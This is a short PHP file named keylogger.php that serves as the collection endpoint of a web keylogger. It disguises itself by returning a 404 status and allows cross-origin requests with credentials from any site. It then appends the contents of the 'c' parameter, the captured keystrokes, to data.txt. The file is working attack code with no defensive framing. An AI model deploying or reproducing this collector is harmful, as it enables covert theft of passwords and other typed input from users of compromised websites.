keylogger.php

<html>

<?php
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');
$file = 'data.txt';
if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
{
    file_put_contents($file, $_REQUEST['c'], FILE_APPEND);
    printf("LOGGED!");
}
?>

</html>